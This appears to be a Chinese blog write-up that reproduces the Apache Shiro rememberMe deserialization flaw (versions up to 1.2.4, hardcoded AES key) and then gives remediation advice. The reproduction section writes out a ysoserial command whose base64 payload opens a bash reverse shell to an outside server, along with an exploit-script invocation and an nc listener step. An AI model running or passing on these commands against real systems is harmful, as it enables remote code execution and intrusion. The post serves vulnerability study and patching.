shiro反序列化漏洞

shrio反序列化漏洞

一、漏洞介绍

Shiro 是 Java 的一个安全框架。Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
参考文章:http://www.secwk.com/2019/09/18/2818/

二、影响范围

Apache Shiro <= 1.2.4

三、漏洞复现

恶意 Cookie rememberMe值构造前16字节的密钥–>后面加入序列化参数–>AES加密–>base64编码–>发送cookie
这是我们的漏洞环境
在这里插入图片描述
用burp抓包,看一下响应
在这里插入图片描述
返回包用有个Set-Cookie: rememberMe=deleteMe;
可以用我们的shiro检测工具测试一下
ShiroScan地址:https://github.com/sv3nbeast/ShiroScan
这个工具还是挺全的在这里插入图片描述
在这里插入图片描述
成功打到DNSLOG 返回信息
检测到有这个漏洞,我们就利用下,看能不能反弹个shell
首先在我们服务器开一个nc监听
在这里插入图片描述
然后进http://www.jackson-t.ca/runtime-exec-payloads.html
在这里插入图片描述
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1299 CommonsCollections4 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuMTIzLjEyMy4xMjMvNzc3IDA+JjE=}|{base64,-d}|{bash,-i}”
在这里插入图片描述

python3 shiro_exp.py -u 漏洞地址 -lh 服务器地址 -lp 监听端口在这里插入图片描述
将生成的值放到burp抓到的数据包里面
在这里插入图片描述
在这里插入图片描述
然后我们的服务器这边就弹到shell了
反正我是搞了一整天,最后nc就是不弹,搞这东西需要细心,一个符号出错可能就不行

四、漏洞修复

先说结论:无论是否升级shiro到1.2.5及以上,如果shiro的rememberMe功能的AES密钥一旦泄露,就会导致反序列化漏洞。
跟了shiro 1.3.2的代码,看到官方的操作如下:
删除代码里的默认密钥
默认配置里注释了默认密钥
如果不配置密钥,每次会重新随机一个密钥
可以看到并没有对反序列化做安全限制,只是在逻辑上对该漏洞进行了处理。如果在配置里自己单独配置AES的密钥,并且密钥一旦泄露,那么漏洞依然存在。所以漏洞修复的话,我建议下面的方案同时进行:
升级shiro到1.2.5及以上如果在配置里配置了密钥,那么请一定不要使用网上的密钥,一定不要!!请自己base64一个AES的密钥,或者利用官方提供的方法生成
总结
标准的AES的加解密只跟私钥key和加密模式有关,和IV无关。
为了证明反序列化漏洞确实存在,可以利用ysoserial的URLDNS gadget进行验证,但是默认会有TTL缓存机制,默认10s。
反序列化导致的命令执行需要两个点:
readObject()反序列化的内容可控。
应用引用的jar包中存在可命令执行的Gadget Chain。

  • 4
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Azjj98

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值